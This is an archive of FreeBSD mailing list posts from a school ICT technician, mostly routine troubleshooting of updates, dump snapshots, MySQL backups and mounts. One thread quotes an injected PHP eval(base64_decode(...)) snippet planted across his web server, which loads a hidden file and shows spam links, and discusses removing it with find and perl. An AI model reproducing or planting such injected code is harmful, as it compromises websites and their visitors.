Freebsd-update fetch failed...

2009-08-06 Thread Marc Coyles
Evening folks... have just built up a new 7.0-RELEASE box, and have gone to 
update it to 7.0-RELEASEp11, however, whenever I run freebsd-update fetch I get 
the following:

bigsis2# freebsd-update fetch
Looking up update1.FreeBSD.org mirrors... none found.
Fetching metadata signature for 7.0-RELEASE from update1.FreeBSD.org... done.
Fetching metadata index... done.
Fetching 2 metadata files... failed.

Have tried using update., update1., and update2., but no joy on any of them.

Any ideas? The box talks fine to the net, everything else on it is hunkydorey, 
so I'm assuming the error isn't at my end... and before anyone asks, I'm stuck 
with 7.0-RELEASE thanks to cPanel not supporting anything more current than 
that at the moment (boo hiss).

My other option is to grab the contents of /var/db/freebsd-update/ off my other 
server, copy over to this new box, and run 'freebsd-update install' and see if 
it then realises that it has the files and gets on with it... 

Any better suggestions?

Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000
 

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: Dump snapshot issue...

2009-05-07 Thread Marc Coyles
 Is /home really a separate file system on your system?
 Or is it just a directory in another filesystem?

df -h output:

Filesystem SizeUsed   Avail Capacity  Mounted on
/dev/da0s1a3.9G351M3.2G10%/
devfs  1.0K1.0K  0B   100%/dev
/dev/da0s1g 98G 13G 77G14%/home
/dev/da0s1d7.7G136K7.1G 0%/tmp
/dev/da0s1e9.7G5.6G3.3G63%/usr
/dev/da0s1f9.7G1.3G7.6G15%/var
/dev/da1s1d133G 40G 82G33%/backup
devfs  1.0K1.0K  0B   100%/var/named/dev
procfs 4.0K4.0K  0B   100%/proc


Marci


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: Dump snapshot issue...

2009-05-06 Thread Marc Coyles
 One thing you should try is to remove the dump_snapshot files,
 because
 they are supposed to be unlinked when the dump starts anyway, so
 they
 shouldn't be sticking around.
 
 Also, look for file flags on the directories, or ACLs, etc.
 
 And consider the permissions you're running dump with.
 

Dump is running as root via cron / initiated by hand.
ACLs not used.
Have removed all existing dump_snapshot files, and
have also removed and recreated all .snap directories.

S'now working fine for all mountpoints, except /home...

mksnap_ffs: Cannot create /home/.snap/dump_snapshot: Input/output error
dump: Cannot create /home/.snap/dump_snapshot: No such file or directory

It doesn't appear to proceed as normal either... as you can see below,
it ends the previous dump, starts the /home dump, gets an I/O error,
then proceeds straight to the /usr dump. The /home dump never gets
performed. If I remove the -L option, everything goes thru fine, but
complains about lack of -L flag...

  DUMP: DUMP IS DONE 
mksnap_ffs: Cannot create /home/.snap/dump_snapshot: Input/output error
dump: Cannot create /home/.snap/dump_snapshot: No such file or directory

  DUMP: Date of this level 0 dump: Wed May  6 08:30:31 2009
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping snapshot of /dev/da0s1e (/usr) to standard output


Fsck finds no errors on /home... point to note... mksnap_ffs CAN create
/home/.snap/dump_snapshot as I'm sat looking at the file, however, once
it's created it it's as tho it can't access it. The file is there, it
wasn't before I ran the script. It's created it as root:operator, perms
400. I can open it in pico, add content to it, and save it happily. So
I'm baffled!

M



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


Dump snapshot issue...

2009-05-05 Thread Marc Coyles
I've got a script that dumps various filesystems to tape for me, but
I've always had an issue whenever I've used the -L option... see below:

/usr/bin/mt rewind
/sbin/dump 0aLuf /dev/sa0 /
dump: Cannot create //.snap/dump_snapshot: No such file or directory

/sbin/dump 0aLuf /dev/sa0 /home
mksnap_ffs: Cannot create /home/.snap/dump_snapshot: Input/output error
dump: Cannot create /home/.snap/dump_snapshot: No such file or directory

/sbin/dump 0aLuf /dev/sa0 /tmp
dump: Cannot create /tmp/.snap/dump_snapshot: No such file or directory

/sbin/dump 0aLuf /dev/sa0 /usr
dump: Cannot create /usr/.snap/dump_snapshot: No such file or directory

/sbin/dump 0aLuf /dev/sa0 /var
dump: Cannot create /var/.snap/dump_snapshot: No such file or directory

/usr/bin/mt rewind


The .snap folders exist at all points, are set to root:operator, with
perms 770... 
The dump_snapshot files seem to be present, albeit 0 bytes,
root:operator, perms 400...

Running 7.0-RELEASE-p11...

Any suggestions?

Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000
 



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: Dump snapshot issue...

2009-05-05 Thread Marc Coyles
 You probably have not created the .snap directory in the root of
 the filesystem.

Like I said...

The .snap folders exist at all points, are set to root:operator, 
with perms 770... The dump_snapshot files seem to be present, albeit 
0 bytes, root:operator, perms 400...


Marc


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: freebsd-update on FreeBSD 6.x

2009-04-22 Thread Marc Coyles
 I don't have a 6.1 machine around, but freebsd-update
 is just a sh script and you should be able to find what's going on.
 There is nothing hardcoded in it, at least in the version distributed
 with 7.x. In fact I would try running the 7.x version on this system.

I'd definitely be inclined to ensure you're using the more uptodate
Version of freebsd-update...

As I write this, 'upgrade' support does not yet exist in the version
of FreeBSD Update in the FreeBSD base system, so the next step is to
download the script. If you are running FreeBSD 7.0-RC1 or 
FreeBSD 6.3-RC1 or later, you should already have this new 
version of FreeBSD Update installed, so you can skip this step.

http://www.daemonology.net/blog/2007-11-11-freebsd-major-version-upgrade
.html

Added note: Instructions at above URL worked perfectly for 6.2  7.0,
and
Instructions at URL below worked perfectly for 7.0  7.1

http://www.daemonology.net/blog/2007-11-10-freebsd-minor-version-upgrade
.html

L8rs!
Marci



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: Fetching directories inclusive subdirectories on HTTP server via fetch or othe FreeBSD-own tools?

2009-04-02 Thread Marc Coyles
 O. Hartmann ohart...@zedat.fu-berlin.de wrote:
  I need to fetch a whole directory tree from a public remote site.
  The top level directory and its subdirectories are accessible via
  ftp:// and http:// so I tried fetch, but fetch does only retrieve
  data on file basis and does not copy a whole directory tree
  recursively. The remote site does not offer sftp/sshd for that
  purpose.

Wget --ftp-user=USER --ftp-password=PASS -r -l=0 ftp://address/directory

L8rs!
Marci


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: Ports on Macbook

2009-03-03 Thread Marc Coyles
  http://www.apple.com/legal/sla/macosx.html
  They can write whatever they want. I'm not binded by it.

This License allows you to install and use one copy of the Apple
Software on a single *Apple-labeled* computer at a time

So, in theory, apply white lx tape to any PC, write APPLE on it
in black marker. That PC is now labelled Apple and you can therefore
use their software on it legally... (?) O_o

Marci


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org


RE: Mass find/replace...

2008-12-05 Thread Marc Coyles
 + not \; or you will fork on every result.
 
 Additionally, is this injected code one long string or broken down
 by the
 mailer? Grep isn't the best way to deal with it. It's pretty easy
 to correct
 with perl, bit trickier if it's multiline, still not too hard:
 
 find /home/horbury -type f -exec \
   perl -pi.bak -e 's,\?/\*\*/eval\(base64_decode\(.*?\?,,s'
 {} +
 

Hi Mel...
S'One long singleline string broken down by the mailer...

?php /**/eval(base64_decode([the huge long string originally quoted]));?

Have tried doing a find and replace using perl, initially just to replace the 
string, leaving an empty base64_decode(), however, one of the ICT Teachers has 
created paths with spaces in, which seemed to throw off the perl I was using... 
will give yours a try later today *fingers crossed*...

If worst comes to worst I can restore from backups, it'll just mean students 
lose a few days of work that they'd submitted thru Moodle (I've been off for a 
day or three, and this appears to have happened on the first day of my absence)

Ta fer the helpful suggestions thus far!

Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: Mass find/replace...

2008-12-05 Thread Marc Coyles
 + not \; or you will fork on every result.
 
 Additionally, is this injected code one long string or broken down
 by the
 mailer? Grep isn't the best way to deal with it. It's pretty easy
 to correct
 with perl, bit trickier if it's multiline, still not too hard:
 
 find /home/horbury -type f -exec \
   perl -pi.bak -e 's,\? /\*\*/eval\(base64_decode\(.*?\?,,s' {} +
 

Sadly that didn't work. It created .bak files for everything within 
/home/Horbury recursively, but didn't make any changes - the base64_decode is 
till present. 

Additional point to note: this only needs performing on .php files, not all 
files... 

Would I be correct in guessing it's because the string for perl to search for 
omits a space?

IE: within the files, it's as follows:
?php /**/eval(base64_decode('thestring')); ?

Whereas the perl appears to be looking for:
?php/**/eval(base64_decode(*wildcard*?

Also... how to delete all files ending in .bak recursively? *grin*

I'm presuming it'd be:

Find /home/horbury -type f -name *.bak -exec \
Rm *.bak

???

Ta!
Marc


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: Mass find/replace...

2008-12-05 Thread Marc Coyles
All done n' dusted now - thanks very much for everyone's input...! Have noted 
everything down in the back of my copy of Absolute FreeBSD 2nd Edition (which 
has inherited quite a few additional pages since I bought it).

Now that that's done, I can start to wander thru logs and find who/how...

Cheers!
Marc


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: Mass find/replace...

2008-12-05 Thread Marc Coyles
 All done n' dusted now - thanks very much for everyone's input...!
 Have noted everything down in the back of my copy of Absolute
 FreeBSD 2nd Edition (which has inherited quite a few additional
 pages since I bought it).
 
 Now that that's done, I can start to wander thru logs and find
 who/how...
 
 Cheers!
 Marc
 

Arse - I spoke too soon.

Anyone know any perl to remove blank lines???!
It's left a blank line at top of each PHP file that it performed the action on, 
which has broken things a touch...

marc


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Mass find/replace...

2008-12-04 Thread Marc Coyles
Never had to do this so not sure where to start. Have googled and found
some solutions but they don't particularly work (see below)...

Someone has managed to inject php code into a PILE of php pages on my
webserver...

?
/**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz
ZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhp
c3RzKCcvaG9tZS9ob3JidXJ5L3B1YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRv
ci9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMv
aWNvbnMvMzIvbWRsX3V0Zi5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9ob3JidXJ5L3B1
YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3IvZWRpdG9yL2Zp
bGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvbWRsX3V0Zi5waHAn
KTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcp
KXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgk
UjIwRkQ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YXJ0KCdkZ29iaCcp
O319fQ==')); ?

This basically brings up a pile of spam links.

I need to do a find / replace throughout the entire of the
/home/horbury/public_html directory...
I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode'
to get a list of the files that require the operation performing, but it
comes up with an error (xargs: unterminated quote) after a few
results...

Any tips? Basically to find the above and remove it... otherwise I'll
have to resort to doing it in Dreamweaver and reuploading, which is a
major pita, or restoring from a backup (after working out when exactly
this happened and how - I'm guessing thru a teacher's out of date
wordpress install somewhere).

Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000
 



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: RE: Consistency of MySQL dumps...

2008-10-08 Thread Marc Coyles
 (MySQLFront running on Windows XP, connecting to
 MySQL5.2.5 on FreeBSD7.0REL)

Sorry, brain fade... it's early! MySQL 4.1.22... was thinking about PHP
at the time...
 
Cheers!

Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Consistency of MySQL dumps...

2008-10-07 Thread Marc Coyles
Here's one that's puzzling me... 

If I use /usr/local/bin/mysqldump to make a backup of a database, the
file it produces fails to restore with Check syntax near... error.

If I then head into cPanel, to their Backup menu, and take a backup of
the database from there, the file it  produces also fails to restore
with Check syntax near... error, but at a COMPLETELY different point
thru the restore.

If I head into cPanel, to phpmyadmin, and do an export from there... the
file restores PERFECTLY without errors.

Sooo... how can I write a script that'll backup a MySQL database and
produce a useable file??

This problem is occurring on 2 of my 8 databases... it appears the
chosen software used to produce the dump of MySQL data is the culprit...
what is the best commandline (ie: cron-able) tool to use for the task?


Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Script works fine from CLI, but not when Cron'd

2008-10-07 Thread Marc Coyles
I've got a script to backup my MySQL databases, which works absolutely
fine from the command line, but when I add it in to root's cronjobs it
always fails with mysqldump: not found - what am I doing wrong?

Script as follows:

#!/bin/sh
USER=
PASS=

mysqldump --opt -h localhost -u $USER -p$PASS horbury_dppd06
/home/horbury/backup_mysql/dppd06.sql


And that's it...
When run as root from CLI, works with no errors. When run from cron as
root, get the not found problem.


Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000
 



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Live FS Dump errors...

2008-09-01 Thread Marc Coyles
Morning folks... I'm trying to use a script to run a dump of all
filesystems, but whenever I use the -L option, I receive an error as
follows for every mount:


DUMP: Date of this level 0 dump: Mon Sep  1 13:37:57 2008
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping snapshot of /dev/da0s1a (/) to standard output
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 329257 tape blocks.
  DUMP: dumping (Pass III) [directories]
  DUMP: dumping (Pass IV) [regular files]
  DUMP: DUMP: 329274 tape blocks
  DUMP: finished in 91 seconds, throughput 3618 KBytes/sec
  DUMP: level 0 dump on Mon Sep  1 13:37:57 2008
  DUMP: DUMP IS DONE
mksnap_ffs: Cannot create /home/.snap/dump_snapshot: Input/output error
dump: Cannot create /home/.snap/dump_snapshot: No such file or directory

  DUMP: Date of this level 0 dump: Mon Sep  1 13:39:33 2008
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping snapshot of /dev/da0s1e (/usr) to standard output
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 4758000 tape blocks.
  DUMP: dumping (Pass III) [directories]
mksnap_ffs: Cannot create /home/.snap/dump_snapshot: Input/output error
dump: Cannot create /home/.snap/dump_snapshot: No such file or directory


I've inspected the locations reported, and can confirm that
.snap/dump_snapshot exists in the required locations on every mount, and
shows as being created at the time the dump was run as follows:


bigsis# pwd
/home/.snap
bigsis# ls -ltra
total 4
drwx--x--x  11 root  wheel 512 Mar 25 03:05 ..
-r   1 root  operator0 Sep  1 13:32 fsck_snapshot
-r   1 root  operator0 Sep  1 13:39 dump_snapshot
drwxrwx---   2 root  operator  512 Sep  1 13:39 .


The script I'm using is a perl script as follows, and is called by
root's crontab:

#!/usr/bin/perl
use strict;
use warnings;
use Getopt::Std;
use POSIX qw(strftime);
use vars qw($VERSION);

$Getopt::Std::STANDARD_HELP_VERSION = 1;
$VERSION = '1.2';

my @FS = ('/', '/home', '/usr', '/var');
my $day = lc(strftime %A, localtime);
my $hostname = `/bin/hostname -s`;
my %opt = ('F' = 0, 'd' = 0, 'h' = 0);
my $type;

chomp $hostname;

getopts(Fdh,\%opt);

if ( $opt{h} == 1 ) {

print STDERR  EOF;

usage: $0 [-hqd]

 -h: this (help) message
 -d: Dry run, only print what I am going to do
 -F: Force full backup {type 0}

example: $0 -h -q -d

EOF
exit(0)
}

if ( $opt{F} == 1 ) {

$type = 0

} else {

if ($day eq sunday) {
$type = 0
} else {
$type = 0
}

}

foreach (@FS) {

my $name = $_;

if ($name eq '/') {
$name = '/root';
};

$name =~ s/^\///g;

# Unncomment for /backup/$day/$name.dump.gz
my $command = '/sbin/dump -' . $type  . ' -aLuf - ' .  $_ . ' |
gzip -q  /backup/' . $day . '/' .
$name . '.dump.gz';

# Put a # in front of the next line if you uncomment the last line
#   my $command = '/sbin/dump -' . $type  . ' -aLuf - ' .  $_ . ' |
gzip -q  /backup/' . $hostname .
'/' . $day . '.' . $name . '.dump.gz';

if ($opt{d}) {
print($command . \n);
} else {
system($command);
};
};


exit(0);


Any suggestions??? All works fine if I don't use -L, but this isn't
exactly ideal for a backup of a live file-system...

Marc A Coyles - Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730
Helpdesk: 01924 282740 ext 2000
 


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: Obscure df -h output

2008-08-29 Thread Marc Coyles

 Yes, they did something bizarre.  Ask them why :)
 
 Kris
 ___

Mornin' Kris / list...

Asked them why and they shrugged and said we didn't... So... I
unmounted all the nullfs mounts that it'd allow me to unmount (tmp, dev,
proc and bin were busy) and then rebooted the box to see if they
reappeared. They didn't. Then I had a bit of a ting moment as the
lightbulb 2 above my head flickered into life, and logged in as a
jailed user... Lo and behold, the mounts reappeared. Logged out and
logged back in as my regular user, and the mounts remained.

Should mounts for jail-shells automatically unmount themselves when that
user logs out?? Either way, we know what the issue is, and that it
isn't an issue at all... S'just the joys of letting cPanel do something
for you...!

L8rs!
Marc A Coyles
Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Obscure df -h output

2008-08-28 Thread Marc Coyles
One of my servers appears to be having a slightly dippy moment...
Running FREEBSD 5.3-RELEASE-p5 i386 (I don't have the bottle to attempt
freebsd-update to 7.0-REL, altho I really should... Still a relative
newb tho, and not confident on a box I can only access by remote)
running WHM 11.23.2 cPanel 11.23.4-R26157 - I'm seeing some very obscure
results on df -h...

#FilesystemSizeUsed   Avail Capacity  Mounted on
/dev/ad0s1a   1.9G648M1.1G36%/
devfs 1.0K1.0K  0B   100%/dev
/dev/ad0s1g47G 18G 25G42%/home
/dev/ad0s1d   1.9G872K1.8G 0%/tmp
/dev/ad0s1e   9.7G3.5G5.4G40%/usr
/dev/ad0s1f   9.7G2.1G6.8G23%/var
devfs 1.0K1.0K  0B   100%/etc/namedb/dev
procfs4.0K4.0K  0B   100%/proc
/libexec  1.9G648M1.1G36%libexec
/lib  1.9G648M1.1G36%lib
/usr/lib  9.7G3.5G5.4G40%usr/lib
/usr/sbin 9.7G3.5G5.4G40%usr/sbin
/usr/share9.7G3.5G5.4G40%usr/share
/usr/bin  9.7G3.5G5.4G40%usr/bin
/usr/man  9.7G3.5G5.4G40%usr/man
/usr/X11R69.7G3.5G5.4G40%usr/X11R6
/usr/libexec  9.7G3.5G5.4G40%usr/libexec
/usr/local/bin9.7G3.5G5.4G40%usr/local/bin
/usr/local/lib9.7G3.5G5.4G40%usr/local/lib
/var/spool9.7G2.1G6.8G23%var/spool
/var/lib  9.7G2.1G6.8G23%var/lib
/var/run  9.7G2.1G6.8G23%var/run
/var/log  9.7G2.1G6.8G23%var/log
/home/tff  47G 18G 25G42%tff
/tmp  1.9G872K1.8G 0%tmp
/dev  1.0K1.0K  0B   100%dev
/bin  1.9G648M1.1G36%bin
/proc 4.0K4.0K  0B   100%proc


/etc/fstab reads as follows...

# DeviceMountpoint FStype OptionsDump Pass#
/dev/ad0s1b  noneswap   sw  0 0
/dev/ad0s1a  /   ufsrw  1 1
/dev/ad0s1g  /home   ufsrw  2 2
/dev/ad0s1d  /tmpufsrw  2 2
/dev/ad0s1e  /usrufsrw  2 2
/dev/ad0s1f  /varufsrw  2 2
/dev/acd0/cdrom  cd9660 ro,noauto   0 0


Any clues as to what's going on / advice on how to proceed...? This box
crashed last week whilst I was on holiday and appeared to be a brute for
Planet's TechSupport to get back online... Can't find anything in logs
as to why. Am wondering if HDD is a bit unhealthy? There is a spare
drive mounted in the box that I can begin to clone everything on to if
needs be (and have Absolute FreeBSD 2nd Edition and Best of FreeBSD
Basics to hand).

Ta!
Marc A Coyles
Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: Obscure df -h output

2008-08-28 Thread Marc Coyles
 Looks like they did some strange things trying to get it back.  Those
 look like nullfs mounts with the same source and destination, which
 makes no sense.  What does mount -v show you?


Hi Kris...

[EMAIL PROTECTED] ~]$ mount -v
/dev/ad0s1a on / (ufs, local, writes: sync 715484 async 362440, reads:
sync 16201 async 86)
devfs on /dev (devfs, local)
/dev/ad0s1g on /home (ufs, local, soft-updates, writes: sync 3879 async
1779995, reads: sync 876702 async 63257)
/dev/ad0s1d on /tmp (ufs, local, soft-updates, writes: sync 23 async
145025, reads: sync 588 async 89)
/dev/ad0s1e on /usr (ufs, local, soft-updates, writes: sync 47 async
874619, reads: sync 495263 async 13857)
/dev/ad0s1f on /var (ufs, local, soft-updates, writes: sync 360454 async
4721936, reads: sync 2557009 async 121766)
devfs on /etc/namedb/dev (devfs, local)
procfs on /proc (procfs, local)
/libexec on libexec (nullfs, local)
/lib on lib (nullfs, local)
/usr/lib on usr/lib (nullfs, local)
/usr/sbin on usr/sbin (nullfs, local)
/usr/share on usr/share (nullfs, local)
/usr/bin on usr/bin (nullfs, local)
/usr/man on usr/man (nullfs, local)
/usr/X11R6 on usr/X11R6 (nullfs, local)
/usr/libexec on usr/libexec (nullfs, local)
/usr/local/bin on usr/local/bin (nullfs, local)
/usr/local/lib on usr/local/lib (nullfs, local)
/var/spool on var/spool (nullfs, local)
/var/lib on var/lib (nullfs, local)
/var/run on var/run (nullfs, local)
/var/log on var/log (nullfs, local)
/home/tff on tff (nullfs, local)
/tmp on tmp (nullfs, local)
/dev on dev (nullfs, local)
/bin on bin (nullfs, local)
/proc on proc (nullfs, local)



Marc A Coyles
Horbury School ICT Support Team
Mbl: 07850 518106
Land: 01924 282740 ext 730



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: [ free_bsd_questions ] selecting a cpu heatsink / fan combo [ c ]

2008-08-27 Thread Marc Coyles
 i have --never-- heard of this one.
 maybe, it's because i check every mobo setting at installation time ?

 are you certain that this isn't propaganda from the joke in redmond ?

 please explain.


ASUS Motherboards have their AI system which attempts to automatically
overclock any cpu to improve performance as a for instance. Personally,
any motherboard that attempts to automatically overclock a CPU should
have such features disabled immediately. If any overclocking is gonna
get done, I like to be the one in control.

If you want to know which CPU would be best for your uses, head to
xtremesystems.org forums (ignore rest of the site) and post in the Intel
section with what you'll be using the box for, your requirements (in
terms of processing power and noise output) and someone over there'll
point you out the best CPU for the job.

L8rs!
Marci



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: [ free_bsd_questions ] selecting a cpu heatsink / fan combo

2008-08-26 Thread Marc Coyles
  greetings, all ---
 
  this isn't exactly a free_bsd question, --but--,
since free_bsd is popular w/ the i386 crowd and
there are many rugged individualists on these lists
who like to roll their own,
i figure i'll get way less hyperbole and
more practical experience here,
than at some of the places i've visited today.

1 - Don't use tip of finger to apply thermal goop unless finger is
within a plastic bag. Grease off your skin will detract from the
efficiency of the Thermal Bond, and seeing as the TIM bond accounts for
a HUGE proportion of a processor-cooling-solution's c/w rating, it's
better to pop finger in a bag, and then apply compound.

2 - Best of the best is still Thermalright, but there is a price premium
as always. I generally go with their Ultra120 Extreme as it supports all
sockets and all CPUs on the market, so you won't have to bin it if you
switch to something else at a later date... And partner it with a decent
120mm fan of your choosing according to your noise preference.
Personally I stick with Nexus fans as they're nice n' quiet...

The above combo is currently sitting atop a Q6600 cpu in my recording
studio system and keeps it at 40 deg C full-load in total silence. If
you want better cooling, then find a more powerful fan.

3 - Meh - Thermal Compound performance is much debated, and any testing
done on it isn't done to a sufficient quality to give reliable results.
Either way, the Thermalright Heatsinks all come with goop that is plenty
good enough for most purposes.

L8rs!
Marci (ex Over-Clock UK / ThermoChill Radiators)
ICT Support - Horbury School



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: Upgrade 6.2-Release to 7.0-Release - stuck!

2008-07-30 Thread Marc Coyles
Righty - now that I'm back from my wanderings I've managed to complete the
upgrade from 6.3 to 7.0-RELEASE, but am still getting issues with named not
starting. For reference, I pulled down a clean 7.0-R version of named.conf
and dropped it in as /etc/named.conf

/var/log/messages shows the following (lots):

Jul 30 14:39:53 bigsis root: /etc/rc.d/named: WARNING:
run_rc_command: cannot run /usr/local/sbin/named

Weird thing? Course it can't run /usr/local/sbin/named as it ain't there -
it's at /usr/sbin/named, BUT, /etc/rc.d/named has the location correct so
I'm not sure where anything is getting reference to /usr/local/sbin...


Marc A Coyles
ICT Support Team (ext 730)
Mbl: 07850 518106



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: Upgrade 6.2-Release to 7.0-Release - stuck!

2008-07-24 Thread Marc Coyles
OK - further developments! Got to the first reboot stage after running sh
freebsd-update.sh -f freebsd-update.conf install

First point to note: If you don't want a sudden panic attack, remember to
remove the non-bootable floppy disk from the drive.

Other than that, all has gone to plan and is working fine, other than named
which is failing - at a guess because I ended up with the original file
rather than the new file. Can anyone point me to where I can get me grubby
l'il mits on a clean named.conf from 7.0-RELEASE?


Marc A Coyles
ICT Support Team (ext 730)
Mbl: 07850 518106






___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Upgrade 6.2-Release to 7.0-Release - stuck!

2008-07-23 Thread Marc Coyles
Am running freebsd-update following instructions at
http://www.daemonology.net/blog/2007-11-11-freebsd-major-version-upgrade.htm
l

It’s decided that it can’t merge named.conf changes automagically and has
dropped me into vi with the file open… looking as below. What exactly is it
wanting me to do? T’isn’t particularly clear, and this is the first time
I’ve ever attempted an upgrade…

 current version
include /etc/namedb/rndc.key;

controls {
inet 127.0.0.1 allow { localhost; } keys { rndc-key; };
};

// $FreeBSD: src/etc/namedb/named.conf,v 1.21.2.1 2005/09/10 08:27:27 dougb
Exp
$
===
// $FreeBSD: src/etc/namedb/named.conf,v 1.26.4.1 2008/01/13 20:48:23 dougb
Exp
$
 7.0-RELEASE
//
// Refer to the named.conf(5) and named(8) man pages, and the documentation
// in /usr/share/doc/bind9 for more details.
//
// If you are going to set up an authoritative server, make sure you
// understand the hairy details of how DNS works.  Even with
// simple mistakes, you can break connectivity for affected parties,
// or cause huge amounts of useless Internet traffic.

options {
 current version
pid-file /var/run/named/pid;
===
// Relative to the chroot directory, if any
 7.0-RELEASE
directory   /etc/namedb;
dump-file   /var/dump/named_dump.db;
statistics-file /var/stats/named.stats;

// If named is being used only as a local resolver, this is a safe default.
// For named to be accessible to the network, comment this option, specify
// the proper IP address, or delete this option.
listen-on   { 127.0.0.1; };

// If you have IPv6 enabled on this system, uncomment this option for
// use as a local resolver.  To give access to the network, specify
// an IPv6 address, or the keyword any.
//  listen-on-v6{ ::1; };

// These zones are already covered by the empty zones listed below.
// If you remove the related empty zones below, comment these lines out.
disable-empty-zone 255.255.255.255.IN-ADDR.ARPA;
disable-empty-zone
